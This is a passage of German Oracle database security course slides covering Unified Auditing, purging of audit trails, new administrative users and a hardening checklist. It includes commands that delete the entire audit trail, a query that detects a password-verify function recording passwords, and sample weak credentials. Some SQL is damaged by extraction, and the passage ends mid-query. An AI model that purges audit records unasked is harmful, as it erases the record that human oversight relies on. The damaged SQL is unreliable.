{STATEMENT|SESSION|INSTANCE}}] MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8-29 Weitere Syntax: ADD privilege_audit_clause := PRIVILEGES privilege1 [, privilege2] ADD action_audit_clause := {standard_actions | component_actions} standard_actions := ACTIONS action1 [ ON {schema.obj_name | DIRECTORY directory_name | MINING MODEL schema.obj_name } ] [, action2 [ ON {schema.obj_name | DIRECTORY directory_name | MINING MODEL schema.obj_name } ] {ADD|DROP} role_audit_clause := ROLES role1 [, role2] CONDITION 'audit_condition := function operation value_list' EVALUATE PER {STATEMENT|SESSION|INSTANCE} Stichwörter: Unified Auditing; Policy Security II 8 - 29 Beispiele zu Audits abändern Zur Policy tab_audpol wird die Überwachung des Rechners "Bluemchen" hinzugefügt, wenn er einen Insert auf die dept Tabelle durchführt: ALTER AUDIT POLICY tab_audpol ADD ACTIONS INSERT ON SCOTT.DEPT CONDITION q'!SYS_CONTEXT('HOST', 'MY_HOST') = 'BLUEMCHEN'!' EVALUATE PER SESSION; MuniQSoft GmbH Kapitel 8 - Unified Auditing Stichwörter: Unified Auditing; Policy Security II 8 - 30 Security II 8-30 Audit auswerten SELECT TO_CHAR(EVENT_TIMESTAMP,'DD.MM.YY Hh24:MI:SS') AS EVENT_TIMESTAMP,OS_USERNAME,DBUSERNAME,substr(client_pro gram_name,1,30) client_prg, action_name,object_name,sql_text,system_privilege_used FROM UNIFIED_AUDIT_TRAIL order by 1 desc; Hinweis: In der View V$UNIFIED_AUDIT_TRAIL ist die Datumsspalte im GMT Format gespeichert (-1 bzw -2 Stunden zu unserer Zeit !) MuniQSoft GmbH Kapitel 8 - Unified Auditing Stichwörter: Unified Auditing; Auswerten Security II 8 - 31 Security II 8-31 Unified Audit Tabellenspalten (Auswahl) Spalte Beschreibung Spalte Beschreibung os_username Nutzer im BS return_code Fehler wenn <>0 userhost Rechnername transaction_id Id der Transaction terminal Terminalname scn System Change Nr. dbid Id der DB object_schema beteil. Schema authentication_ type Listener Verbindungs Daten object_name Name des DB Objekts dbusername DB Benutzer sql_text Auditierter Befehl client_program_ name Name des Client Programs system_ privilege_used Verwendetes Privileg event_timestamp Aufzeichnungszeit unified_audit_ policies Durch welche Policies wurde aufgezeichnet ? action_name Was wurde auditiert audit_type Aufzeichnungstyp MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 32 Security II 8-32 AUDIT_TYPE Folgende AUDIT_TYPE Werte können aufgezeichnet werden: Standard FineGrainedAudit XS Database Vault Label Security RMAN_AUDIT Datapump Direct path API MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8 - 33 Security II 8-33 Audit löschen Sie löschen ein bestehendes Audit mittels: DROP AUDIT POLICY <policy_name>; Beispiel: DROP AUDIT POLICY dml_pol; MuniQSoft GmbH Kapitel 8 - Unified Auditing Stichwörter: Unified Auditing; löschen Security II 8 - 34 Security II 8-34 Audit Einträge zeitgesteuert löschen Job erstellen, der alle 96 Stunden Audit Einträge löscht: BEGIN DBMS_AUDIT_MGMT.CREATE_PURGE_JOB ( AUDIT_TRAIL_TYPE => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED, AUDIT_TRAIL_PURGE_INTERVAL => 96,/*Start alle 96 Stunden*/ AUDIT_TRAIL_PURGE_NAME => 'AUDIT_CLEANUP', USE_LAST_ARCH_TIMESTAMP => TRUE, CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT); END; use_last_arch_timestamp: TRUE: Alle Audit Einträge vor dem letzten Zeitstempel archivieren (Siehe Spalte last_archive_ts in DBA_AUDIT_MGMT_ARCH_TS) FALSE: Alle Einträge löschen Sie können das Intervall ändern mittels: DBMS_AUDIT_MGMT.SET_PURGE_JOB_INTERVAL MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8-35 AUDIT_TRAIL_TYPE kann vom Typ sein: DBMS_AUDIT_MGMT.AUDIT_TRAIL_AUD_STD: Standard Audit Tabelle aud$ DBMS_AUDIT_MGMT.AUDIT_TRAIL_FGA_STD: Fine Grain Auditing Tabelle fga_log$ DBMS_AUDIT_MGMT.AUDIT_TRAIL_DB_STD: Beide Tabellen aud$ und fga_log$ DBMS_AUDIT_MGMT.AUDIT_TRAIL_OS: Dateien im OS mit Endung .aud (Windows verwendet das Eventlog und dort wird nicht gelöscht) DBMS_AUDIT_MGMT.AUDIT_TRAIL_XML: XML Audit Dateien im OS DBMS_AUDIT_MGMT.AUDIT_TRAIL_FILES: .AUD und .XML Dateien im OS DBMS_AUDIT_MGMT.AUDIT_TRAIL_ALL: Alle Audit Informationen (Dateien und Tabellendaten) DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED: Für Unified Auditing (ab 12c) Hinweis: Alternativ können Sie auch einen Zeitpunkt festlegen, wo Audit Daten, die älter sind, gelöscht werden: BEGIN DBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP( audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED, last_archive_time => TO_TIMESTAMP('09-AUG-2014 12:11:10.00','DD-MON-RRRR HH24:MI:SS.FF')); DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL( audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED, use_last_arch_timestamp => TRUE); END; / Stichwörter: Unified Auditing; löschen Security II 8 - 35 Audit Einträge manuell löschen Unified Audit Einträge vor dem letzten Zeitstempel sofort löschen: BEGIN DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL( AUDIT_TRAIL_TYPE => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED, USE_LAST_ARCH_TIMESTAMP => TRUE, CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT ); END; Container wird in der Pluggable Database verwendet und kann folgende Werte annehmen: dbms_audit_mgmt.container_current: Nur für aktuellen container dbms_audit_mgmt.container_all: Für alle Container MuniQSoft GmbH Kapitel 8 - Unified Auditing Folgende AUDIT_TRAIL_TYPE Einträge werden unterstützt: AUDIT_TRAIL_UNIFIED Für das normale Audit Trail gibt es weiterhin die Typen: AUDIT_TRAIL_AUD_STD AUDIT_TRAIL_FGA_STD AUDIT_TRAIL_DB_STD (both AUD + FGA) AUDIT_TRAIL_OS AUDIT_TRAIL_XML AUDIT_TRAIL_FILES (both OS & XML) AUDIT_TRAIL_ALL Weiteres Beispiel:Unified Audit Trail sofort komplett löschen: BEGIN DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL( audit_trail_type => DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED, use_last_arch_timestamp => FALSE); END; / Stichwörter: Unified Auditing; löschen Security II 8 - 36 Security II 8-36 Audit Einträge löschen in Read Only DB Ab Version 12.1.0.2 können auch in einer Read Only Datenbank alte Audit Einträge gelöscht werden Beide Packageaufrufe sind nutzbar: DBMS_AUDIT_MGMT.SET_LAST_ARCHIVE_TIMESTAMP DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL Neu hinzugekommen sind DBMS_AUDIT_MGMT.GET_AUDIT_TRAIL_PROPERTY_VALUE (Zur Betrachtung der Parameter aus dem Speicher) DBMS_AUDIT.MGMT.GET_LAST_ARCHIVE_TIMESTAMP (Zum Auslesen des Zeitstempels für Löscheoperationen) MuniQSoft GmbH Kapitel 8 - Unified Auditing Security II 8-37 Hinweis: Jedoch sind weiterhin folgende Packages in einer Read Only DB nicht verfügbar: •AUDIT_TRAIL_AUD_STD •AUDIT_TRAIL_FGA_STD •AUDIT_TRAIL_DB_STD •AUDIT_TRAIL_ALL Security II 8 - 37 Mandatory Auditing Startup Kommandos oder Befehle, die abgesetzt werden, wenn die Datenbank nicht zum Schreiben zur Verfügung steht, werden auf der Betriebssystemebene erfasst $ORACLE_BASE/audit/$ORACLE_SID (Endung *.bin) Die Audit Daten können später in die Datenbank geladen werden DBMS_AUDIT_MGMT.LOAD_UNIFIED_AUDIT_FILES • Nur SYS und AUDIT_ADMIN haben Ausführungsberechtigung für das Package DBMS_AUDIT_MGMT • Jede Ausführung des Package wird auditiert Nach dem Laden der .bin Dateien in die Datenbank, sollten Sie im Betriebssystem gelöscht werden (in 12.1.0.2 hatten wir aber einige Leichen weiter dort liegen ☺ ) MuniQSoft GmbH Kapitel 8 - Unified Auditing • Laden großer Datenmengen beeinflusst eventuell die DB Performance • Aufzeichnung aller Befehle, die Auditing Verhalten beeinflussen • Befehle, die die Konfiguration von Database Vault beeinflussen Security II 8 - 38 Security II 8-38 Audit Views View Name Beschreibung USER_/ALL_/DBA_AUDIT_POLICIES Alle Fine Grain Audit Policies für Benutzer/DBA ALL_DEF_AUDIT_OPTS Objekte Audits für neu zu erstellende Objekte AUDIT_UNIFIED_CONTEXTS App Context für Audit Trail AUDIT_UNIFIED_ENABLED_POLICIES Alle eingeschaltenen Audit Policy AUDIT_UNIFIED_POLICIES Alle existierenden Audit Policy AUDIT_UNIFIED_POLICY_COMMENTS Kommentare für Audit Policy AUDITABLE_SYSTEM_ACTIONS Auditierbare System Action zu Aktionsnamen CDB_UNIFIED_AUDIT_TRAIL Für Root Container einer CDB: Wie UNIFIED_AUDIT_TRAIL, aber für alle PDB DBA_XS_AUDIT_TRAIL Audit Trail Infos für Real Application Security UNIFIED_AUDIT_TRAIL Anzeige aller Audit Einträge V$UNIFIED_AUDIT_TRAIL Anzeige aller Audit Einträge aus Speicher MuniQSoft GmbH Kapitel 8 - Unified Auditing SELECT * FROM AUDIT_UNIFIED_ENABLED_POLICIES; SELECT * FROM AUDIT_UNIFIED_POLICIES; Management Views: SELECT * FROM DBA_AUDIT_MGMT_CONFIG_PARAMS; : Stichwörter: Unified Auditing; Views Security II 8 - 39 Security II 8-39 Kapitel 9 Security Security II 9-1 Neue Benutzer APEX_040200 (APEX Entwicklungsbenutzer für Version 4.2 ohne Patch 4.2.5 !) AUDSYS (Benutzer für Unified Audit zum Speichern von Audit Trail Records) OJVMSYS (Oracle Java VM Benutzer) SYSDG (zum Ausführen von Data Guard Operationen) SYSBACKUP (für die Benutzung des RMAN) SYSKM (Benutzer für Transparent Data Encryption) MuniQSoft GmbH Kapitel 9 - Security Gelöschte Benutzer: CTXSYS (Context Benutzer) MGMT_VIEW (Enterprise Manager SYSMAN (Enterprise Manager) Stichwörter: Benutzer Security II 9-2 Security II 9-2 Neue Parameter für Passwort-Datei Usage: orapwd file=<fname> entries=<users> force=<y/n> ignorecase=<y/n> asm=<y/n> dbuniquename=<dbname> extended=<y/n> sysbackup=<y/n> sysdg=<y/n> where file - name of password file (required), password - password for SYS will be prompted if not specified at command line, entries - maximum number of distinct DBA (optional), force - whether to overwrite existing file (optional), ignorecase - passwords are case-insensitive (optional), asm - indicates that the password to be stored in Automatic Storage Management (ASM) disk group is an ASM password. (optional). dbuniquename - unique database name used to identify database password files residing in ASM diskgroup only. Ignored when asm option is specified (optional), extended - use the extended format for SYSBACKUP, SYSDG, and SYSKM support and for longer identifiers (optional), sysbackup - create SYSBACKUP entry (optional and requires the the extended format) sysbackuppwd - password for SYSBACKUP will be prompted if not specified at command line, sysdg - create SYSDG entry (optional and requires the extended format), sysdgpwd - password for SYSDG will be prompted if not specified at command line. MuniQSoft GmbH Kapitel 9 - Security Stichwörter: Passwort-Datei Security II 9-3 Security II 9-3 System Benutzer in der Passwortdatei GRANT SYSOPER TO muso_sysoper IDENTIFIED BY p; GRANT SYSASM TO muso_sysasm IDENTIFIED BY p; -- In ASM ! GRANT SYSBACKUP TO muso_sysbackup IDENTIFIED BY p; GRANT SYSDG TO muso_sysdg IDENTIFIED BY p; GRANT SYSKM TO muso_syskm IDENTIFIED BY p; SELECT * FROM v$pwfile_users; MuniQSoft GmbH Kapitel 9 - Security Welche Rechte haben die neuen Benutzer: SYSBACKUP: •STARTUP / SHUTDOWN •DELETE/INSERT •ALTER DATABASE • SYS.APPLY$_SOURCE_SCHEMA •ALTER SYSTEM • SYSTEM.LOGSTDBY$PARAMETERS •ALTER SESSION •EXECUTE •ALTER TABLESPACE • SYS.DBMS_BACKUP_RESTORE •CREATE CONTROLFILE • SYS.DBMS_RCVMAN •CREATE ANY DIRECTORY • SYS.DBMS_DATAPUMP •CREATE ANY TABLE • SYS.DBMS_IR •CREATE ANY CLUSTER • SYS.DBMS_PIPE •CREATE PFILE • SYS.SYS_ERROR •CREATE RESTORE POINT (inclusive • SYS.DBMS_TTS GUARANTEED restore points) • SYS.DBMS_TDB •CREATE SESSION • SYS.DBMS_PLUGTS •CREATE SPFILE • SYS.DBMS_PLUGTSP •DROP DATABASE • SELECT_CATALOG_ROLE •DROP TABLESPACE •DROP RESTORE POINT (inclusive GUARANTEED restore points) •FLASHBACK DATABASE •RESUMABLE •UNLIMITED TABLESPACE •SELECT ANY DICTIONARY •SELECT ANY TRANSACTION •SELECT • X$ tables (fixed tables) • V$ and GV$ views (dynamic performance views) • APPQOSSYS.WLM_CLASSIFIER_PLAN • SYSTEM.LOGSTDBY$PARAMETERS Stichwörter: Passwort-Datei, Neue System Benutzer; SYSBACKUP Security II 9-4 Security II 9-4 Übersicht der Rechte pro Benutzer Startup/ Shutdown ALTER DB OPEN MOUNT BACKUP ARCHIVE LOG RECOVER DB SELECT auf APP Tabellen CHANGE CHARACTER SET CREATE, DROP DB CREATE SPFILE RESTRICTED SESSION SYSDBA (ab 8.0) Schema/ Grund Privilegien SYS Vollständig SYSOPER (ab 8.0) PUBLIC CREATE SYSBACKUP (ab 12.1) SYSBACK UP SYSDG (ab 12.1) SYSDG SYSKM (ab 12.1) SYSKM Die drei neuen Benutzer können nicht mehr gelöscht werden MuniQSoft GmbH Kapitel 9 - Security Welche Rechte haben die neuen Benutzer: SYSDG •STARTUP / SHUTDOWN •ALTER DATABASE •ALTER SESSION •ALTER SYSTEM •CREATE RESTORE POINT (including GUARANTEED restore points) •CREATE SESSION •DROP RESTORE POINT (including GUARANTEED restore points) •FLASHBACK DATABASE •SELECT ANY DICTIONARY •SELECT • X$ tables (fixed tables) • V$ and GV$ views (performance views) • APPQOSSYS.WLM_CLASSIFIER_PLAN •DELETE • APPQOSSYS.WLM_CLASSIFIER_PLAN •EXECUTE • SYS.DBMS_DRS Stichwörter: SYSKM SYSBACKUPund SYSDG Rechte; SYSDG Security II 9-5 Security II 9-5 SYSDBA Ersatz Für bestimmte administrative Aufgaben stehen nun abgeschwächte Rechte zur Verfügung: SYSBACKUP für Backup & Recovery Aufgaben mittels RMAN oder SQL*Plus rman target '"sys/sys as sysbackup"' SYSDG zur Verwaltung des Oracle Data Guard oder des dgmgrl Tools SYSKM zur Verwaltung des Encryption Key Managements (Transparent Data Encryption Wallet) MuniQSoft GmbH Kapitel 9 - Security Security II 9-6 Welche Rechte haben die neuen Benutzer: SYSKM •ADMINISTER KEY MANAGEMENT •CREATE SESSION •SELECT (nur wenn DB geöffnet ist) • SYS.V$ENCRYPTED_TABLESPACES • SYS.V$ENCRYPTION_WALLET • SYS.V$WALLET • SYS.V$ENCRYPTION_KEYS • SYS.V$CLIENT_SECRETS • SYS.DBA_ENCRYPTION_KEY_USAGE Zusätzlich erlaubt das SYSKM eine Anmeldung an einer nicht gestarteten DB Stichwörter: SYSKM Security II 9-6 Anmeldung als SYSBACKUP sqlplus sys/sys as sysbackup Welche SYSTEM-Rechte besitzt man nun ? SYSBACKUP CREATE ANY CLUSTER SELECT ANY TRANSACTION CREATE ANY TABLE SELECT ANY DICTIONARY UNLIMITED TABLESPACE RESUMABLE DROP TABLESPACE CREATE ANY DIRECTORY ALTER TABLESPACE ALTER DATABASE ALTER SESSION AUDIT ANY ALTER SYSTEM Welche Objektrechte hat man ? SQL> select * from scott.emp; ORA-01031: insufficient privileges Bis auf Verwaltungstabellen keine MuniQSoft GmbH Kapitel 9 - Security Security II 9-7 Anmeldung beim RMAN % rman RMAN> CONNECT TARGET "mysys@prod AS SYSBACKUP" target database Password: connected to target database: O12C (DBID=3443393097) Laut Handbuch sollte auch folgende Anmeldung funktionieren (leider stimmt das nicht ganz (Stand Jan 2014)): rman target='sys/sys as sysdba' und rman target='sys/sys as sysbackup' Denn auch Folgendes akzeptiert der RMAN unter Windows anstandslos: rman target='sysi/sys as sysbackupi' Stichwörter: Benutzer; SYSBACKUP Security II 9-7 Erweitertes CREATE USER Kommando CREATE USER c##scott IDENTIFIED BY tiger DEFAULT TABLESPACE users QUOTA 100M ON test_ts QUOTA 500K ON data_ts TEMPORARY TABLESPACE temp_ts PROFILE def_profile CONTAINER = CURRENT| ALL; CONTAINER = CURRENT : Für lokalen Benutzer in lokaler PDB, bei der man angemeldet ist CONTAINER = ALL : Wenn man an der CDB$ROOT angemeldet ist muss Benutzername mit c## beginnen MuniQSoft GmbH Kapitel 9 - Security Security II 9-8 Hinweis Wenn ein Common User erstellt wurde, müssen in allen Containern (PDBs) die folgenden Objekte die refernziert wurden auch vorhanden sein: •DEFAULT TABLESPACE •TEMPORARY TABLESPACE •QUOTA •PROFILE Stichwörter: Create Security II 9-8 Benutzer anlegen in CDB Benutzer, die in einer Container DB auf PDB$SEED angelegt werden, müssen mit dem Prefix c## oder C## beginnen Beispiel: CREATE USER c##comm_user IDENTIFIED BY comm_pwd DEFAULT TABLESPACE users QUOTA 32M ON users TEMPORARY TABLESPACE temp PROFILE comm_prof; Die Tablespaces users und temp und das Profile comm_prof müssen in allen Containern, die zur DB gehören existieren MuniQSoft GmbH Kapitel 9 - Security Security II 9-9 CREATE USER Klausel ab 12c: CREATE USER user IDENTIFIED { BY password | EXTERNALLY [ AS 'certificate_DN' | AS 'kerberos_principal_name' ] | GLOBALLY [ AS '[ directory_DN ]' ] } [ DEFAULT TABLESPACE tablespace | TEMPORARY TABLESPACE { tablespace | tablespace_group_name } | { QUOTA { size_clause | UNLIMITED } ON tablespace }... | PROFILE profile | PASSWORD EXPIRE | ACCOUNT { LOCK | UNLOCK } | ENABLE EDITIONS | CONTAINER = { CURRENT | ALL } ]... ] ; Stichwörter: Create, Benutzer Security II 9-9 Fehlerhafter Login / Login Zeit Nach einer falschen Passworteingabe in SQL*Plus erhält man nach erfolgreicher Anmeldung Die letzte Login Zeit wird in user$ aufgezeichnet und beim nächsten Anmelden bei SQL*Plus angezeigt. MuniQSoft GmbH Kapitel 9 - Security Stichwörter: Login Security II 9-10 Security II 9-10 Oracle Maintained Rollen/Benutzer Oracle dokumentiert, welche Rollen und Benutzer durch die Standardskripten erstellt wurden und welche vom Benutzer manuell angelegt wurden Welche Rechte/Rollen wurden nicht von Oracle erzeugt ? SELECT username FROM dba_users WHERE oracle_maintained = 'N'; SELECT role FROM dba_roles WHERE oracle_maintained = 'N'; MuniQSoft GmbH Kapitel 9 - Security Stichwörter: Rollen, Benutzer Security II 9-11 Security II 9-11 Kapitel 10 Checkliste Einleitung Die nachfolgende Checkliste sollen Ihnen helfen, Ihre Datenbank sicherer zu machen Wir haben uns auf die wichtigsten Punkte beschränkt MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 2 Installieren Sie nur die Oracle Produkte und Optionen, die Sie wirklich benötigen. So ist ein Apache Webserver häufig nicht notwendig. Auch diverse Optionen wie Spatial oder OLAP installieren Accounts und damit potenzielle Angriffsziele für Hacker. Passwörter ändern/Benutzer sperren Für die Benutzer SYS, MDSYS, INTERNAL und SYSTEM sollten auf jeden Fall die Passwörter geändert werden ALTER USER SYSTEM IDENTIFIED BY <neupwd>; Sperren Sie alle unnötigen Accounts ALTER USER OUTLN ACCOUNT LOCK; MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 3 Für die Benutzer SYS, MDSYS, INTERNAL und SYSTEM sollten auf jeden Fall die Passwörter geändert werden ALTER USER SYSTEM IDENTIFIED BY <neupwd>; ALTER USER SYS IDENTIFIED BY <neupwd>; Auch alle weiteren auf dem System installierten Benutzer sollten schwer zu knackende Passwörter bekommen. Sperren Sie alle unnötigen Accounts. Damit ist es auch bei bekanntem Passwort unmöglich, sich unter diesem Account anzumelden. ALTER USER CTXSYS ACCOUNT LOCK; ALTER USER MDSYS ACCOUNT LOCK; Auch im Betriebssystem sollten nur alle wirklich notwendigen Benutzer noch existieren. Vergeben Sie nur die notwendigen Betriebssystemrechte an die Benutzer. Rechteüberprüfung/Netzwerk Prüfen Sie die Vergabe der Rechte an die Benutzer genau. Welche Rechte sind zwingend nötig, welche nicht ? Welche Rechte wurden an Public vergeben? UTL_FILE? Verschlüsseln Sie den Netzwerkverkehr Verwenden Sie Firewalls MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 4 Wenn Teile einer Tabelle geschützt werden sollen, legen Sie eine View über die Tabelle, entziehen Sie die Lese- und Schreibrechte von der Tabelle und vergeben Sie die gewünschten Rechte auf die View. Verschlüsseln Sie den Netzwerkverkehr mittels der Advanced Networking Option. Sollten die Clients außerhalb des Firmennetzwerks sein, wird der Einsatz von Firewalls empfohlen. Der Listener sollte gegen Änderungen im laufenden Betrieb gesichert werden. Auch der Einsatz eines Passworts für die Administration wird empfohlen. Schließen Sie alle unberechtigten Clients von der Kommunikation von Oracle aus. (tcp.validnode_checking) INIT.ORA Parameter Prüfung dblink_encrypt_login=true remote_os_authent=false remote_os_roles=false o7_dictionary_accessibility=false sql92_security=true global_names=true MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 5 Folgende init.ora Parameter sollten gesetzt sein: dblink_encrypt_login=true Dieser Parameter verhindert, dass Passwörter zwischen Datenbanken jemals unverschlüsselt übertragen werden können remote_os_authent=false Eine externe Authentifizierung ist damit nicht möglich remote_os_roles=false Externe Rollen sind damit ausgeschalten o7_dictionary_accessibility=false Der Zugriff auf den internen Verwaltungsapparat wird damit beschränkt sql92_security=true Damit wird bei einem DELETE-Recht auf eine Tabelle auch ein SELECT Recht benötigt global_names=true Damit muss ein Datenbank-Link so wie die zugehörige Datenbank heißen Prüfung auf neusten Patch Prüfen Sie Ihre Datenbank auf den neusten Patch SELECT comp_name,version,status FROM dba_registry; MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 6 Hinweis: Ausführliche Version: SELECT comp_name,status,modified,version, case WHEN version like '8.1.7%' then '8.1.7.4' WHEN version like '9.2.0%' then '9.2.0.8' WHEN version like '10.1.%' then '10.1.0.6' -- Bitte höchsten Patchlevel eintragen WHEN version like '10.2.%' then '10.2.0.5' -- Bitte höchsten Patchlevel eintragen WHEN version like '11.1.%' then '11.1.0.7' -- Bitte höchsten Patchlevel eintragen WHEN version like '11.2.%' then '11.2.0.4' -- Bitte höchsten Patchlevel eintragen WHEN version like '12.1.%' then '12.1.0.2' -- Bitte höchsten Patchlevel eintragen WHEN comp_name='Oracle Application Express' then '4.2.5' -- Bitte höchsten Patchlevel eintragen ELSE '??' end "MaxPatchlevel", case WHEN version like '8.1.7%' then decode (replace(version,'.','')8174,0,'OK','UPGRADE ###') WHEN version like '9.2.0%' then decode (replace(version,'.','')92080,0,'OK','UPGRADE ###') WHEN version like '10.1.%' then decode (replace(version,'.','')101060,0,'OK','UPGRADE ###') WHEN version like '10.2.%' then decode (replace(version,'.','')102040,0,'OK','UPGRADE ###') WHEN version like '11.1.%' then decode (replace(version,'.','')111060,0,'OK','UPGRADE ###') WHEN version like '11.2.%' then decode (replace(version,'.','')112030,0,'OK','UPGRADE ###') WHEN version like '12.1.%' then decode (replace(version,'.','')121020,0,'OK','UPGRADE ###') WHEN comp_name='Oracle Application Express' then decode (replace(version,'.','')4250008,0,'OK','UPGRADE ###') ELSE '??' end "UPGRADE?" FROM dba_registry; Prüfung auf neuen PWD Algorithmus Ab Version 12c sollte der alte Passwort-Algorithmus abgeschalten werden SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 (ab 11.2.0.3) SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a(ab 12.1.0.2) SELECT username,password_versions,account_status,expiry_date FROM dba_users WHERE password_versions LIKE '%10G%' AND account_status NOT LIKE '%LOCKED%'; MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 7 Welche Policies sind im Einsatz SELECT u.name object_owner, o.name object_name, r.gname policy_group, r.pname policy_name, r.pfschma pf_owner, r.ppname "package", r.pfname "function", decode(bitand(r.stmt_type,1), 0, 'NO', 'YES') SELECT, decode(bitand(r.stmt_type,2), 0, 'NO', 'YES') ins, decode(bitand(r.stmt_type,4), 0, 'NO', 'YES') upd, decode(bitand(r.stmt_type,8), 0, 'NO', 'YES') del, decode(bitand(r.stmt_type,2048), 0, 'NO', 'YES') idx, decode(r.check_opt, 0, 'NO', 'YES')chk_option, decode(r.enable_flag, 0, 'NO', 'YES') "enable" FROM user$ u, obj$ o, rls$ r WHERE u.user# = o.owner# AND r.obj# = o.obj# AND u.name not in ('XDB','SYSTEM','MDSYS'); MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 8 Welche Directories sind angelegt SELECT u.name owner, o.name directory_name, d.os_path os_path FROM sys.user$ u, sys.obj$ o, sys.dir$ d WHERE u.user# = o.owner# AND o.obj# = d.obj#; MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 9 Hinweis: Und wer hat Rechte darauf? select u.name owner, o.name directory_name, d.os_path os_path,listagg(u2.name||' ('||s.name||')',',') within group (order by o.name) as privs from sys.user$ u, sys.user$ u2, sys.obj$ o, sys.dir$ d, sys.objauth$ a, sys.table_privilege_map s where u.user# = o.owner# and o.obj# = d.obj# and a.grantee#=u2.user# and a.obj#=d.obj# and s.PRIVILEGE=a.PRIVILEGE# group by u.name , o.name , d.os_path ; Welche DB Links existieren ? SELECT u.name username, l.name db_link_name, l.userid, l.host, l.ctime FROM sys.link$ l, sys.user$ u WHERE l.owner# = u.user#; MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 10 Welche Objekte sind verschlüsselt? Verschlüsselte Tablespaces: SELECT t.name, et.encryptionalg algorithm FROM v$tablespace t, v$encrypted_tablespaces et WHERE t.ts# = et.ts#; MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 11 Verschlüsselte Tabellen: SELECT u.name||'.'||o.name object_name, c.name col_name, case e.ENCALG when 1 then '3 Key Triple DES 168 bits key' when 2 then 'AES 128 bits key' when 3 then 'AES 192 bits key' when 4 then 'AES 256 bits key' else 'Internal Err' end encyrption, decode(bitand(c.property, 536870912), 0, 'YES', 'NO') salt FROM user$ u, obj$ o, col$ c, enc$ e WHERE e.obj#=o.obj# and o.owner#=u.user# and bitand(flags, 128)=0 and e.obj#=c.obj# and bitand(c.property, 67108864) = 67108864; Wird die Passwort Prüffunktion verwendet ? SELECT profile,limit FROM dba_profiles WHERE RESOURCE_NAME='PASSWORD_VERIFY_FUNCTION' AND limit<>'DEFAULT'; MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 12 Hinweis: Wenn Sie bedenken haben, das Ihre Prüf-Funktion ein Spion ist, und die Passwörter aufzeichnet: SELECT line,text from dba_source WHERE name in (select limit from dba_profiles WHERE RESOURCE_NAME='PASSWORD_VERIFY_FUNCTION' AND limit<>'DEFAULT') AND (upper(text) like '%COMMIT%' OR upper(text) like '%DBMS^_%' escape '^' OR upper(text) like '%EXECUTE IMMEDIATE%' OR upper(text) like '%UTL%'); Prüffunktionen Für wichtige Views sollte eine Hash Funktion verwendet werden um die Echtheit der View zu bestätigen: SYS.ALL_OBJECTS (2324) 30DFF648A42A7AD6885BCF861EE41EAD SYS.ALL_POLICIES ( 838) 23ECB8487F9A0A1DA957DA8184C6312D SYS.ALL_SOURCE (5373) 1FACA6FE7DBD7238C0357BBD770BA615 SYS.ALL_SYNONYMS (1431) 29E274E0EAEDD7F1C72A3529CCA0FC52 SYS.ALL_TABLES (1436) EC7489767CA355D6C2D871846F87279C MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 13 SET SERVEROUTPUT ON DECLARE v_hash VARCHAR2(32000); BEGIN FOR c IN (SELECT owner,view_name,text FROM dba_views WHERE owner='SYS' AND view_name IN ('DBA_TABLES','ALL_TABLES','DBA_OBJECTS','ALL_OBJECTS','DBA_TRIGGERS', 'ALL_TRIGGERS','DBA_POLICIES','ALL_POLICIES','DBA_VIEWS','ALL_VIEWS', 'DBA_JOBS','ALL_JOBS','DBA_SCHEDULER_JOBS','DBA_ROLES','DBA_SYNONYMS', 'ALL_SYNONYMS','DBA_DIRECTORIES','DBA_SOURCE','ALL_SOURCE','DBA_USERS') ORDER BY 2) LOOP v_hash:=v_hash||dbms_crypto.Hash(utl_raw.cast_to_raw(c.text),dbms_crypto.hash_m d5); dbms_output.put_line(c.owner||'.'||rpad(c.view_name,30,' ')||'('||lpad(length(c.text),4,' ')||') '|| dbms_crypto.Hash(utl_raw.cast_to_raw(c.text),dbms_crypto.hash_md5)); END LOOP; dbms_output.put_line('KomplettHash:'||dbms_crypto.Hash(utl_raw.cast_to_raw(v_hash),dbms_crypto.hash_md5)); END; / Welche Objekte wurden kürzlich neu erzeugt? Prüfen Sie, welche Objekte in den letzten Tagen in der DB neu angelegt wurden Wenn jedoch durch die Applikation regelmäßig neue Objekte erstellt werden, ist es schwierig die "Kuckuckseier" zu finden MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 14 SELECT * FROM ( SELECT owner, count( CASE WHEN object_type= 'SYNONYM' AND created between sysdate-1 and sysdate THEN 'x' END ) as "SYN (1 Tag)", count( CASE WHEN object_type= 'SYNONYM' AND created between sysdate-7 and sysdate-1 THEN 'x' END ) as "SYN (7 T.)", count( CASE WHEN object_type= 'PACKAGE BODY' AND created between sysdate-1 and sysdate THEN 'x' END ) as "PackB (1 Tag)", count( CASE WHEN object_type= 'PACKAGE BODY' AND created between sysdate-7 and sysdate-1 THEN 'x' END ) as "PackB (7 T.)", count( CASE WHEN object_type= 'PROCEDURE' AND created between sysdate-1 and sysdate THEN 'x' END ) as 